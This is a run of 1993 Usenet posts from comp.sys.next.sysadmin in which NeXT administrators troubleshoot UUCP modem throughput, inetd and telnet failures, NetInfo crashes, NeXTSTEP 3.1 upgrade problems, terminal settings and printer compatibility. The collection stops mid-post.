References: <1993Jun17.010021.270@frogware.com>
Date: Sat, 26 Jun 1993 23:21:55 GMT
Ben Bernhard (ben@frogware.com) wrote:
: I know that this has been covered before, but I didn't pay attention. My new
: 14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why??
: How (in some detail if possible , I'm not a unix guru) do I get up to full
: speed??
Hm, sounds common to me :-)
Well, most UUCP connections use the rather lame 'G-protocol' which has
really a lot of overhead, (64 Bytes packtes and such crap)
You have now 2 solutions:
Force F-Protocoll with a hack
Bring Taylor-UUCP to work.
The first, is a not so wide spread hack for NexT Computers (probably
works on others as well, doesn't work on Ultrix) in which u define the
other side as X.25 reachable, but the Computer won't find the PAD, so it
uses the serial line, and assumes that it is an error free connection.
Here are the entries:
L-devices:
# this is a Hack !
PAD cua unused 38400 direct
Make the analog changes to the L.sys file, and it should work, some
people in the usergroup use it, I don't because my host is a Decstation.
Taylor UUCP:
Anyone got it to work ??
: thanks for any help,
: ben
: --
-daniel
--
Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich
E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome)
study-related stuff : dankluge@iiic.ethz.ch
DECnet : EZINFO::CLUESCH
Newsgroups: comp.sys.next.sysadmin
From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Re: Booting Headless...HELP!
Message-ID: <1993Jun26.013547.173576@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
References: <1993Jun23.090629.146702@zeus.calpoly.edu>
Date: Sat, 26 Jun 1993 01:35:47 GMT
In article <1993Jun23.090629.146702@zeus.calpoly.edu>
kwang@data.acs.calpoly.edu (Kevin Wang (The Scarecrow)) writes:
> According to the documentation::
>
> Alternate Console
> If the ROM monitor detects that the display monitor or keyboard is
> disconnected when the computer is turned on, the ROM monitor attempts
> to communicate with a terminal connected to serial port A if this
> parameter is set to yes.
>
> However, everytime I try this, I get PART of the ROM monitor
> startup sequence:
>
> CPU M68040.... blah blah blah
> Backplane...
> Ethernet...
> Memory...
> Testing...this, that, blah, foo, bar
>
> and then I get garbage on that same line after testing one or two items.
I now cna get the '030 to tftp the mach kernel, but as soon as that
finishes, I
get "Rom Monitor..." and then a SOLID lockup. even when I hooked up the
mono
head to it, cmd-cmd-twiddle did NOTHING. only way to restart the '030 was
CMD-ALT-* Could it be because it doesn't like being in slot #1? (I think
I
know how to rewrite the backplane for the slot id#'s...
> the terminal is at 9600baud, 7e1, and I have a '040 and '030 cube,
> non-turbo, each with 16 megs, but only one HD, on the '040...
setting to the terminal to 8N1 made it happy.
Newsgroups: comp.sys.next.sysadmin
From: kanthraj@lib.utk.edu (Harish Kanthraj)
Subject: Telnet sessions
Message-ID: <kanthraj.6@lib.utk.edu>
Sender: usenet@martha.utcc.utk.edu (USENET News System)
Organization: University of Tennessee Library
Date: Sun, 27 Jun 1993 07:29:35 GMT
Hi,
I've been running a few gopher servers on my NeXTstation Turbo 3.0.
One of the versions required that I start it from inetd - so I included the
corresponding entries in my /etc/inetd.conf & /etc/services files &
restarted inetd but the servers refused to connect through. Well, I
said - Instead of a -HUP let me kill the process & start all over again,
but to no avail. I tried to reboot the system but it refused to budge. I
kind've postponed it for a while & tried to install X & SLIP on the system.
The X version I downloaded would just lock up the screen & I had to reboot
to free it. Somewhere along the process I realized I was unable to telnet
into the system. I checked the status & to my dismay found that the inetd
process was nonexistent when I rebooted the machine. I physically started
the inetd process - it allows me to telnet but immediately shuts off the
connection ( message pops up - Connection closed by Host). I have been
messing around with this guy but so far I do not seem to have a clue as to
why its doing this. I even copied the original inetd.conf & services file
from the CD - but, boy, it just refuses to start inetd on rebooting.
I'm willing to try out any suggestions or ideas -
Thanks
Harish
kanthraj@utkvx.utk.edu
Newsgroups: comp.sys.next.sysadmin
From: tarek@next1.tam.uiuc.edu (Tarek G Shawki)
Subject: Strange Behavior of NetInfo, Host and User Managers!!!
Date: Sun, 27 Jun 1993 07:02:37 GMT
Message-ID: <C99q8D.tF@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Keywords: NetInfo, HostManager,
Organization: University of Illinois at Urbana
We do have a network of 14 NeXTs that run fairly smoothly except for one
client machine which, since the the 2.1 -> 3.0 upgrade, fails to run
UserManager (crashes as it launches), HostManager (crashes as it launches)
and NetInfoManager (which launches but crashes immediately if you try to
"open" any domain). I have looked for any obvious inconsistencies in the
local domain but observed no errors. This machine functions properly
otherwise. It may be useful to note that if you try to launch, say, the
UserManager from a shell; you get a "bus error"!!!
We would appreciate help as to what is meant by a "bus error" and what is
it that is wrong here ?! Your help is greatly appreciated.
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_________________________________________________________________________
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134 Talbot Laboratory Theoretical & Applied Mechanics
Tel: 217 333 7131 University of Illinois
Fax: 217 333 3625 104 South Wright Street
E-mail: t-shawki@uiuc.edu Urbana, Illinois 61801
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From: thomas@olorin.dark.sub.org (Thomas Fischer)
Subject: Re: Nice fast modem is slow, Why?
Message-ID: <1993Jun27.081443.13013@olorin.dark.sub.org>
Organization: Olorin, NeXT Development & System Administration, FRG
References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch>
Date: Sun, 27 Jun 1993 08:14:43 GMT
kluge@avalon.physik.unizh.ch (Daniel G. Kluge) wrote:
>
>Taylor UUCP:
>Anyone got it to work ??
Sure, the latest version compiles just great on a NeXT...
Thomas
--
Good day for a change of scene. Repaper the bedroom wall.
---
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From: karthy@dannug.dk (Karsten Thygesen)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Nice fast modem is slow, Why?
Date: 27 Jun 1993 11:19:42 GMT
Organization: Dannug - Danish NeXT Users Group
Message-ID: <KARTHY.93Jun27131943@dannug.dannug.dk>
References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch>
In-reply-to: kluge@avalon.physik.unizh.ch's message of Sat, 26 Jun 1993 23:21:55 GMT
In article <1993Jun26.232155.19552@ifi.unizh.ch> kluge@avalon.physik.unizh.ch (Daniel G. Kluge) writes:
Taylor UUCP:
Anyone got it to work ??
Sure - and besides the advantages by not using the G protocol, it uses
a proprietary protocol, "i", which is biderectional and runs like a
dream!
Our average throughput by using ZyXEL U1496E+ modems is typical like
this:
DanNug Transfer Statistic from 1993-06-01 to 1993-06-27
+---------+---------+---------+---------+--------+
| Received| Sendt to| Sendt to| Total | AVG |
| | MAIL | NEWS | | bytes/s|
+---------+---------+---------+---------+--------+
| 0.26737| 0.47934| 5.75254| 6.49925| 2134.43|
+---------+---------+---------+---------+--------+
So - 5.7M news, which is compressed in advance, and a few hundred
kilobyte mail is transfered by 2100 bytes/second in average.
Taylor UUCP compiles pretty easy on the NeXT and it's quite easy to
configure. The last version is 1.04 and can be found on many (GNU?)
sites as /pub/gnu/uucp.1.04.tar.gz or something like that..
There is also a very active mailinglist with a bounch of nice people
who sure will help you with any problems.
Regards,
Karsten.
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Nice fast modem is slow, Why?
Date: 27 Jun 1993 09:01:36 GMT
Organization: the Borg
Distribution: world
Message-ID: <20jnlgINN7k@theborg.stack.urc.tue.nl>
References: <1993Jun26.232155.19552@ifi.unizh.ch>
In article <1993Jun26.232155.19552@ifi.unizh.ch> kluge@avalon.physik.unizh.ch
(Daniel G. Kluge) writes:
> Ben Bernhard (ben@frogware.com) wrote:
> : I know that this has been covered before, but I didn't pay attention. My
new
> : 14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why??
> : How (in some detail if possible , I'm not a unix guru) do I get up to full
> : speed??
>
If you use NeXT uucp you must enlarge the packet size to 1024 or 2048 to make
the g-protocol more efficient, but read on...
> Taylor UUCP:
> Anyone got it to work ??
>
Yup, we use it over here and it's great, especially the i-protocol which uses
the full-duplex capability of most modems to send data both ways at the same
time with piggy-backed acknowledgements (with 16k8 or even 19k2bps on my ZyXEL
the data literally flies). Installation is not difficult and you can configure
it to use your existing NeXTSTEP configuration files and scripts.
Good luck,
Annard
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People? You can forget it.
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From: klett@sunrayce.solar.umn.edu (James P. Klett)
Subject: TIP! Where to get doc's???????
Message-ID: <C9ADHy.9xp@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
Date: Sun, 27 Jun 1993 15:19:46 GMT
Does anyone know of a UNIX book that will describe tip in detail?
All I can find are UNIX System V manuals or simple man page type
descriptions. Please mail your responce to klett@sunrayce.solar.umn.edu.
since I have a hard time getting to read the newsgroup responces.
Thanks, Jim
Newsgroups: comp.sys.next.sysadmin
From: clarance@uaneuro.uah.ualberta.ca (Clarance Howatt)
Subject: Network access problem
Message-ID: <1993Jun27.180132.7986@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Sun, 27 Jun 1993 18:01:32 GMT
I was very happy to learn that the hospital where I maintain a small NeXT
lab was to receive two new to us NeXT color stations. These machines were
to replace existing workstations that we had on loan. When they arrived I
was very impressed by the fact that the network recongized that they were
new machines and prompted for a confirmation. That was all there was to
it (NOT). I now seems that these two machines nolonger have network acces
outside of the local domain. At first I thought that it was a name server
problem because if I used the numeric address of a machine I had no
problem accessing it. I talked to the people who maintain the name server
and they said that that was NOT a possibility. They are not exactly NeXT
supporters and assured me that it was because I was using a box that is
evil :-). I have tried everything that I can think of and everything that
my friends can think of. If you have any suggestings I would be most
grateful
---------
Clarance Howatt
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From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Subject: SETUID ignored by NXautolaunch
Message-ID: <1993Jun27.202807.9102@leland.Stanford.EDU>
Keywords: setuid, terminal, wmtp, finger, talk
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Sun, 27 Jun 93 20:28:07 GMT
Hi,
here is a mystery: A local lab is having problems with getting
wtmp updated correctly (so finger doesn't work, etc). I have helped track
the problem down to that the setuid on Terminal is ignored when that
program is auto-launched on login (ps shows it as running as the user
logged in). Quitting and restarting Terminal restores normal behaviour
(and ps confirms that Terminal is now running as root). What could
possibly cause this?
Grateful for any hints (email and I will summarize). Yours in
consternation,
-Magnus
--
Magnus Nordborg
magnus@fisher.stanford.edu (NeXT mail preferred)
Department of Biological Sciences
Stanford University
Stanford, CA 94305-5020
+1 (415) 723-4952 (office)
Newsgroups: comp.sys.next.sysadmin
From: kdburg@incoahe.hanse.de (Klaus Dahlenburg)
Subject: Re: Nice fast modem is slow, Why?
Message-ID: <1993Jun27.115933.4296@incoahe.hanse.de>
Organization: Hanse Networking eV., Hamburg; Germany
References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch>
Date: Sun, 27 Jun 93 11:59:33 GMT
kluge@avalon.physik.unizh.ch (Daniel G. Kluge) writes:
[...] stuff deleted
>Taylor UUCP:
>Anyone got it to work ??
on a NeXT? yes. What's the problem?
I'm running Taylor from 1.03 -> 1.04 and had no difficulties.
Klaus
--
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++EOM++
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From: kdburg@incoahe.hanse.de (Klaus Dahlenburg)
Subject: Re: Nice fast modem is slow, Why?
Message-ID: <1993Jun27.123241.4423@incoahe.hanse.de>
Organization: Hanse Networking eV., Hamburg; Germany
References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch>
Date: Sun, 27 Jun 93 12:32:41 GMT
Hi out there,
in above article I found the term 'pbs'. Can anyone tell me what that
means?
Klaus
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P.O.Box 1267 Fax : +49 4287 676
D-2117 Tostedt Voice : +49 4287 681
Germany (w) Timezone : GMT + 2
++EOM++
From: pkron@corona.com (Peter Kron)
Newsgroups: comp.sys.next.sysadmin
Subject: ? Posting news via rnews
Message-ID: <109.UUL1.3#16216@corona.com>
Date: Sun, 27 Jun 93 22:50:42 PDT
Organization: Corona Design, Inc., Seattle, WA
I send/receive mail from NEXTSTEP via UUCP, but still post news from a
DOS utility, which queues it to rnews via UUCP at the same site.
I would think I could do the same from NEXTSTEP, perhaps by altering
sendmail.cf to recognize comp.* addresses and specifying a news mailer.
Before I abandon all hope and enter sendmail though...has anyone else
got experience with this approach or something similar or something better?
Thanks
---------------
Peter Kron P.O. Box 51022
Corona Design, Inc. Seattle, WA 98115-1022
Peter_Kron@corona.com
Newsgroups: comp.sys.next.sysadmin
From: glen@netcom.com (Steven Kornreich)
Subject: UUCP NS-FIP error
Message-ID: <glenC9BICy.Ms8@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Mon, 28 Jun 1993 06:07:46 GMT
I have been setting up uucp on my PC running NS-FIP and I can
connect one or two times no problem, but then I get an error code
" RAISE RDP exception 1 code 1 subcode c21 93bd0
waiting for RDP connection"
Anyone have any ideas???
Newsgroups: comp.sys.next.sysadmin
From: m@BlueRose.com (M Carling)
Subject: Re: 3.1 user upgrade
Message-ID: <1993Jun27.163043.2303@BlueRose.com>
Sender: m@BlueRose.com
Organization: Blue Rose Systems, Inc.
References: <scott.740586911@shrug>
Date: Sun, 27 Jun 1993 16:30:43 GMT
In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A.
McIntyre) writes:
>
> I'm dying to know:
>
> Has anyone on Black with 3.1 had the proliferation of <mach-tasks>
> or are they really gone?
It doesn't much matter. These are dead processes, which haven't been
removed from the table. They use no resources.
M Carling
President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin
From: afm@vogon.mathi.uni-heidelberg.de (Andreas Mueller)
Subject: Re: Nice fast modem is slow, Why?
Message-ID: <1993Jun28.141424.11993@sun0.urz.uni-heidelberg.de>
Sender: news@sun0.urz.uni-heidelberg.de (NetNews)
Organization: Matlab, University of Heidelberg
References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch> <1993Jun27.081443.13013@olorin.dark.sub.org>
Date: Mon, 28 Jun 93 14:14:24 GMT
In article <1993Jun27.081443.13013@olorin.dark.sub.org> thomas@olorin.dark.sub.org (Thomas Fischer) writes:
>kluge@avalon.physik.unizh.ch (Daniel G. Kluge) wrote:
>>
>>Taylor UUCP:
>>Anyone got it to work ??
>
>Sure, the latest version compiles just great on a NeXT...
Yes, but the f-Protocol may not deal correctly with parity,
at least it didn't when I compiled it in may. (patch available
on request, I don't have it here :-( )
>
> Thomas
>
>--
>Good day for a change of scene. Repaper the bedroom wall.
>---
> Thomas Fischer, thomas@olorin.dark.sub.org, +49 7191 23217 (fax & data)
--
-------------------------------------------------------
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Mathematisches Institut
Im Neuenheimer Feld 288
Newsgroups: comp.sys.next.sysadmin,comp.unix.shell
From: uunet!sci34hub!tybrin4!trey (Trey McClendon)
Subject: Terminal (ZSH) problem
Message-ID: <1993Jun28.124414.12031@tybrin4.uucp>
Sender: trey@tybrin4.uucp (Trey McClendon)
Organization: TYBRIN Corporation
Date: Mon, 28 Jun 1993 12:44:14 GMT
I am running ZSH v2.2.0 on a NeXTstation with NS3.0. Since the modems
are on another machine, I rlogin into it to use kermit. The problem
is that kermit fouls up my terminal settings upon exiting. Here is
a sample of what happens.
From ZSH, 'stty everything' returns:
new tty, speed 0 baud, 25 rows, 80 columns
-raw -nl echo -lcase -tandem tabs -cbreak
crtbs crterase crtkill ctlecho -prterase -tostop
-eucbksp -flusho -mdmbuf -litout -pass8 -nohang
-pass8out pendin decctlq -noflsh -extproc
erase kill werase rprnt flush lnext susp intr quit stop eof
^? ^U ^W ^R ^O ^V ^Z/^Y ^C ^\ ^S/^Q ^D
Now run kermit and promptly quit.
'stty everything' now returns:
new tty, speed 0 baud, 25 rows, 80 columns
-raw nl echo -lcase -tandem tabs -cbreak
crtbs crterase crtkill ctlecho -prterase -tostop
-eucbksp -flusho -mdmbuf -litout -pass8 -nohang
-pass8out -pendin decctlq -noflsh -extproc
erase kill werase rprnt flush lnext susp intr quit stop eof
^@ ^@ ^W ^R ^O ^V ^Z/^Y ^C ^\ ^S/^Q ^D
Notice the 'nl', 'pendin', and the erase & kill characters are different.
In addition, the tab settings get changed. The net effect of all this is
that I get line feeds with no carriage return.
A 'reset' at the command line fixes this but is annoying.
Help?
Trey
tybrin4!trey@sci34hub.sci.com
Newsgroups: comp.sys.next.sysadmin
From: irving@Happy-Man.com (Irving_Wolfe)
Subject: 3.1 Black Troubles
Message-ID: <1993Jun28.145847.11115@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
Date: Mon, 28 Jun 1993 14:58:47 GMT
I have had nothing but trouble since installing 3.1 on one of our
NextStations. Is this happening to others, or am I unlucky in that
my particular setup or a botched upgrade is causing me unusual
problems?
Symptoms have included (not all at the same time):
no more processes - unable to fork
(Note that "ps ux" did not show anything unusual under me.)
use of swapfile.front instead of swapfile even with 32MB of memory
and a large disk.
slowdown to the point of uselessness in Workspace Manager, making
it difficult or impossible to even log out.
inability to drag from the File Viewer
miscellaneous messages:
Jun 27 13:58:11 rosebud mach: NeXT Mach 3.1: Fri Apr 30 08:31:15
PDT 1993; root( rcbuilder):mk-149.22.3.obj~2/RC_m68k/RELEASE_Mo8K
Jun 27 13:40:19 rosebud Locus[294]: Assertion failed: App Kit error:
Error messaging drag service
Jun 27 13:43:45 rosebud WM[293]: Assertion failed: -dragImage:
cannot set up dragging operation
Jun 27 16:21:37 rosebud WindowServer[171]: IPCFlushOutput: failed
to flush output for stream 0x16d9d8.
Anyone able to help or even able to clarify whether these
experiences are usual under 3.1, please respond!
Thanks,
- Irving
P.S.- I'm not aware of having anything terribly unusual in my
configuration. The only "strange" apps I normally have running are
Date, Stuart, and Locus, if that's a clue.
--
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Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399
We publish SOLID VALUE for the intelligent investor. NextMail OK
Info. packet free. Send POSTAL address: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: thor@sushi.uib.no
Subject: Printer compatibility (Black Hardware) list wanted
Message-ID: <1993Jun28.170937.21811@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
Date: Mon, 28 Jun 93 17:09:37 GMT
Yes, I've seen NeXTAnswers and the FAQ, but it doesn't have a single
comprehensive list over printers which work with the NeXT. I have
a cube and am looking for an inexpensive printer solution.
I am considering among others, the DeskJet BW and colour models, IBM's
4019ELX, Canon inkjet printers, and others. I have no idea if any
of these will work, and if they will what kind of extra programs I'll
need before they do. Of the above, only the IBM is capeable of PostScript.
If anyone could forward a list of compatible printers, bugs assocciated
with same, and warnings/tips I would be grateful.
Regards,
--
Thor Legvold | "This is the strangest life
NorNeXT User Group leader | I've ever known..."
University of Bergen | -Jim Morrison, The Doors
NORWAY | edmtl@edb.uib.no
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From: pws@s-a.amtp.liv.ac.uk (Peter Stephenson)
Subject: Re: Terminal (ZSH) problem
In-Reply-To: uunet!sci34hub!tybrin4!trey's message of Mon, 28 Jun 1993 12:44:14 GMT
Message-ID: <PWS.93Jun28174348@suna.amtp.liv.ac.uk>
Sender: news@liverpool.ac.uk (News System)
Organization: DAMTP, University of Liverpool
References: <1993Jun28.124414.12031@tybrin4.uucp>
Date: Mon, 28 Jun 1993 16:43:47 GMT
Trey McClendon writes:
> I am running ZSH v2.2.0 on a NeXTstation with NS3.0. Since the modems
> are on another machine, I rlogin into it to use kermit. The problem
> is that kermit fouls up my terminal settings upon exiting. Here is
> a sample of what happens.
2.2.0 is a bit of a historical artifact these days, but I'm pretty sure
it had ttyctl. If you do
ttyctl -f
(in your .zshrc unless you have any particular objection) then zsh will
restore the terminal settings after each command. I think ttyctl worked
even back then. (This is what it it's supposed to be there for, anyway.
You picked the right shell.)
--
Peter Stephenson <pws@s-a.amtp.liv.ac.uk> or <PWS@UKACRL> (BITNET)
Dept. of Applied Mathematics and Theoretical Physics
University of Liverpool, P.O. Box 147, Liverpool, L69 3BX, U.K.
Tel. +44 51 794 3784 (also fax) or 3791
From: neuss@igd.fhg.de (Christian Neuss )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: What does "scintr program error" mean?
Date: 28 Jun 93 09:47:22 GMT
Organization: IGD
Message-ID: <neuss.741260842@ramazzotti>
References: <20a435INNj3h@jhunix.hcf.jhu.edu> <1993Jun25.003152.4589@moksha.uucp>
mgb@moksha.uucp (Michael Branton) writes:
>In article <20a435INNj3h@jhunix.hcf.jhu.edu> robinc@jhunix.hcf.jhu.edu (Robert
>Delucca) writes:
[munch]
>> When I booted, I got "scintr program error" at the very
>> beginning of the boot sequence in the ROM monitor. Nothing
>> else out of the ordinary. No console messages either.
>> What does this mean? Inquiring mind wants to know.
[munch]
>> email robinc@jhunix.hcf.jhu.edu
>I, too, have seen this error form time to time and would like to know its
>etymology :-), so if you know, please post or reply to mgb@stetson.bitnet
Post! Post post post.. I see this every boot, on all three NeXTstations
I'm working on. I have never experienced any problems, but still I'd like
to know what the heck this means..
Chris
/*
* Christian Neuss % neuss@igd.fhg.de % ..in the humdrum
*/
Message-ID: <~o$@byu.edu>
Date: Mon, 28 Jun 93 13:49:40 MDT
From: yackd@maine.et.byu.edu (Don Yacktman)
Newsgroups: comp.sys.next.sysadmin
Distribution: world
References: <1993Jun28.145847.11115@Happy-Man.com>
Organization: Brigham Young University, Provo UT USA
Subject: Re: 3.1 Black Troubles
In article <1993Jun28.145847.11115@Happy-Man.com>, irving@Happy-Man.com (Irving_Wolfe) writes:
>I have had nothing but trouble since installing 3.1 on one of our
>NextStations. Is this happening to others, or am I unlucky in that
>my particular setup or a botched upgrade is causing me unusual
>problems?
There are some definite problems I've noticed...
I'll comment on a few things I've seen at first glance.
>Symptoms have included (not all at the same time):
>
>no more processes - unable to fork
>(Note that "ps ux" did not show anything unusual under me.)
Well, I noticed that when I ran NXBench and got the kernel info, the
3.1 kernel is configured for fewer processes and threads. Significantly
less. This is bad, IMHO -- this number should be _more_, not less!
Something like 20% less, I think... This doesn't bode well for folks
who want to take advantage of threads, etc. Now you can really say
goodbye to trying to do a C-Linda implementation...
Of course, your problem may be something else entirely.
>slowdown to the point of uselessness in Workspace Manager, making
>it difficult or impossible to even log out.
The release notes say to log out often or this will happen. If you didn't
log out _immediately_ after the initial upgrade and again _immediately_
after language install, you'll get a real bad case of the slowpokes.
So the solution is to not be logged in for very long at a time; of course
once it gets slow, fat lot of good this advice does you...
The other problems I haven't seen, but I did a re-format of my hard disk
and a clean install since the upgrade process was rocky when I did the
2.1->3.0 upgrade, and I didn't feel like dealing with that this time...
just in case. :-)
Hope that someone finds that useful. It really bugs me that they
_reduced_ the number of processes and threads available in the kernel.
What is the logic behind this? I didn't see anything in any of the
release notes/docs to suggest that they did this...it makes me feel
like they tried to put something over on us; of course, I might have
just missed the part that says this, if it exists...
Later,
Don_Yacktman@byu.edu
From: janthony@nextsrv1.andi.org (Jay Anthony)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.1 Black Troubles
Date: 28 Jun 1993 15:59:33 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9306281849.AA01563@nextsrv1.andi.org>
>I have had nothing but trouble since installing 3.1 on one of our
>NextStations. Is this happening to others, or am I unlucky in that
>my particular setup or a botched upgrade is causing me unusual
>problems?
>
>Symptoms have included (not all at the same time):
These symptoms which you mention:
>slowdown to the point of uselessness in Workspace Manager, making
>it difficult or impossible to even log out.
>
>inability to drag from the File Viewer
>
>Jun 27 13:40:19 rosebud Locus[294]: Assertion failed: App Kit error:
>Error messaging drag service
>
>Jun 27 13:43:45 rosebud WM[293]: Assertion failed: -dragImage:
>cannot set up dragging operation
(note these are not everything you mention) result from "weirdness"
with dragging (including the unbelievable slowdwon in the Workspace).
I've been working on an app for a few weeks that makes heavy use of
dragging and whenever there was a bug of some kind, things like this
would happen.
Try to trace down where you do a lot of dragging -- that will
probably be the problem. Maybe an application which implements
dragging didn't do it right, and by luck worked under 3.0, but not
3.1.
'Fraid that's the best help I can give you! :-(
>Anyone able to help or even able to clarify whether these
>experiences are usual under 3.1, please respond!
I'm running 3.1 black now, but I believe this was happening under 3.0
black as well (when I had bugs).
--Jay--
---
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Digital Expressions Inc. Voice/Fax: +1 518 346-0568
From: jordan@warped.pnl.gov (Randy Jordan)
Newsgroups: comp.sys.next.sysadmin
Subject: IBM Model 95's?
Date: 28 Jun 1993 21:36:22 GMT
Organization: Battelle, Pacific Northwest Laboratory
Distribution: world
Message-ID: <20no8m$s4v@oracle.pnl.gov>
Keywords: IBM, Install, NSI
--
Has anyone installed NSI on IBM 95's?
The only 486 I can get to install NSI evaluation is
a new IBM 95 with 1GB SCSI disk and eather 16MB or 32MB
memory. I currently do not know what display device they
were ordered with, but I suspect that only standard VGA
was ordered. Does this mean I can only operate at 640/480
2 bit graphics?
Help....
RJ
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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myne opinions are.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: penney@cl-next4.cl.msu.edu (Chris Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.1 user upgrade
Date: 28 Jun 1993 23:34:43 GMT
Organization: Michigan State University
Message-ID: <20nv6j$ggo@msuinfo.cl.msu.edu>
References: <scott.740586911@shrug> <1993Jun27.163043.2303@BlueRose.com>
M Carling (m@BlueRose.com) wrote:
: In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A.
: McIntyre) writes:
: >
: > I'm dying to know:
: >
: > Has anyone on Black with 3.1 had the proliferation of <mach-tasks>
: > or are they really gone?
:
: It doesn't much matter. These are dead processes, which haven't been
: removed from the table. They use no resources.
:
: M Carling
: President, Bay Area NeXT Group
Yeah, no resources, but if you get enough of them the process table fills
up and your machine will die the next time it tries to create a new
process. I sure hope it is fixed, they have reduced the max number of
processes and threads by 20% in 3.1 (so someone said n this same group).
-=Chris=-
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==== ====
= Christopher C. Penney E-mail: penney@convex.msu.edu =
= Computer Consultant Office: 110 Computer Center =
= ACM Vice Chairman Michigan State University =
= CASE Center Advisory Council Member East Lansing, Michingan =
==== ====
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From: nico@imani.cam.org (Nicolas Dore)
Subject: Re: 3.1 user upgrade
Message-ID: <1993Jun28.210128.925@imani.cam.org>
Sender: nico@imani.cam.org
References: <1993Jun27.163043.2303@BlueRose.com>
Date: Mon, 28 Jun 1993 21:01:28 GMT
In article <1993Jun27.163043.2303@BlueRose.com> m@BlueRose.com (M Carling) writes:
> In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A.
> McIntyre) writes:
> >
> > I'm dying to know:
> >
> > Has anyone on Black with 3.1 had the proliferation of <mach-tasks>
> > or are they really gone?
>
> It doesn't much matter. These are dead processes, which haven't been
> removed from the table. They use no resources.
Yeah, but don't they the swapfile from shrinking? (i.e. it only shrinks as the
"latest" processes are terminated, from the top)
Ciao
Nicolas Dore
> M Carling
> President, Bay Area NeXT Group
--
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- - - - - - - - - CAREFUL! POLITICAL COMMENT ZONE!! - - - - - - - - -
> "If I can't dance, I don't want to be in your revolution!" <
> Emma Goldman (to Vladimir Ilitch Oulianov [Lenin], 1917) <
From: cadence@unixg.ubc.ca
Newsgroups: comp.sys.next.sysadmin
Subject: command line faxing
Date: 29 Jun 1993 00:07:07 GMT
Organization: The University of British Columbia
Message-ID: <20o13bINN5od@iskut.ucs.ubc.ca>
Does anyone know if it is possible to fax a text file from the unix shell?
Thanks
John McMahon
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From: lloyd@world.std.com (Chris Lloyd)
Subject: Re: 3.1 user upgrade
Message-ID: <C9Cz6n.GHs@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
References: <scott.740586911@shrug> <1993Jun27.163043.2303@BlueRose.com> <20nv6j$ggo@msuinfo.cl.msu.edu>
Date: Tue, 29 Jun 1993 01:08:47 GMT
In article <20nv6j$ggo@msuinfo.cl.msu.edu> penney@cl-next4.cl.msu.edu (Chris Penney) writes:
>M Carling (m@BlueRose.com) wrote:
>: In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A.
>: McIntyre) writes:
>: > Has anyone on Black with 3.1 had the proliferation of <mach-tasks>
>: > or are they really gone?
>:
>: It doesn't much matter. These are dead processes, which haven't been
>: removed from the table. They use no resources.
>
>Yeah, no resources, but if you get enough of them the process table fills
>up and your machine will die the next time it tries to create a new
>process. I sure hope it is fixed, they have reduced the max number of
>processes and threads by 20% in 3.1 (so someone said n this same group).
Not all of them are dead processes. In the bugless(?) NS's, most of the
<mach-task>'s are kernel tasks, typically a driver. Loadable Kernel
Servers show up as <mach-task>s as well as things like the sound driver.
My 2.1 system has 5 and always has five, one is the sound driver,
another is a LKS I wrote, a notify server, and others. They aren't full
blown processes, but require a private port set and a thread, so they
are just simple tasks.
I expect NS/FIP to have a lot more of them, as most/all of the drivers are
done as loadable kernel servers, each generating a <mach-task>...
shrug,
--
:: Christopher Lloyd :: Yrrid Incorporated :: lloyd@world.std.com ::
From: sagar@halcyon.com (Arun Sagar)
Newsgroups: comp.sys.next.sysadmin
Subject: UUCP help needed for NS/IP
Date: 28 Jun 1993 18:14:49 -0700
Organization: "A World of Information at your Fingertips"
Sender: news@nwfocus.wa.com
Distribution: world
Message-ID: <20o529$3un@nwfocus.wa.com>
Hello everyone-
I am trying to learn how to setup a UUCP machine but am
running into some difficulty with my brand new NS/IP3.1.
My system is a Gatway2000 w/ local bus video and a 1.2G HD
hooked up to a barely Hayes compatible modem.
I tried to setup my system as the example in the online
documentation says I should (NeXT System Administration,
Chapter 12). However, when I invoke uupoll, nothing
happens (no modem activity). /usr/spool/uucp/LOGFILE shows
